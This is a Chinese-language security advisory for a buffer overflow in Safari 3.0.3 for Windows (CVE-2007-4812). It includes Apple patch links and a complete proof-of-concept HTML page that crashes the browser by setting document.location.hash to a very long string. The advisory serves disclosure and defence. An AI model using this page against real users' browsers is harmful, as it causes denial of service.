安全研究
安全漏洞
Apple Safari for Windows Document.Location.Hash缓冲区溢出漏洞
发布日期:2007-06-25
更新日期:2007-11-15
受影响系统:Apple Safari 3.0.3 522.15.5
描述:
BUGTRAQ ID:
26448
CVE(CAN) ID:
CVE-2007-4812
Safari是苹果计算机的最新作业系统Mac OS X中的浏览器,使用了KDE的KHTML作为浏览器的运算核心。
Safari for Windows存在缓冲区溢出漏洞,远程攻击者通过将document.location.hash设置为较长的字符串利用此漏洞造成拒绝服务。
<*来源:Azizov E.
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<html> <body> <script> var maxbuf = 65474; buff = "A"; for (i=0;i<maxbuf;i++) { buff = buff+"A"; } document.location.hash = buff+"BOW! "; alert(document.location.hash); </script> </body> </html>
建议:
厂商补丁:
Apple
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://support.apple.com/
http://lists.apple.com/archives/Security-announce/2007/Nov/msg00003.html浏览次数:1708
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载 绿盟科技给您安全的保障 |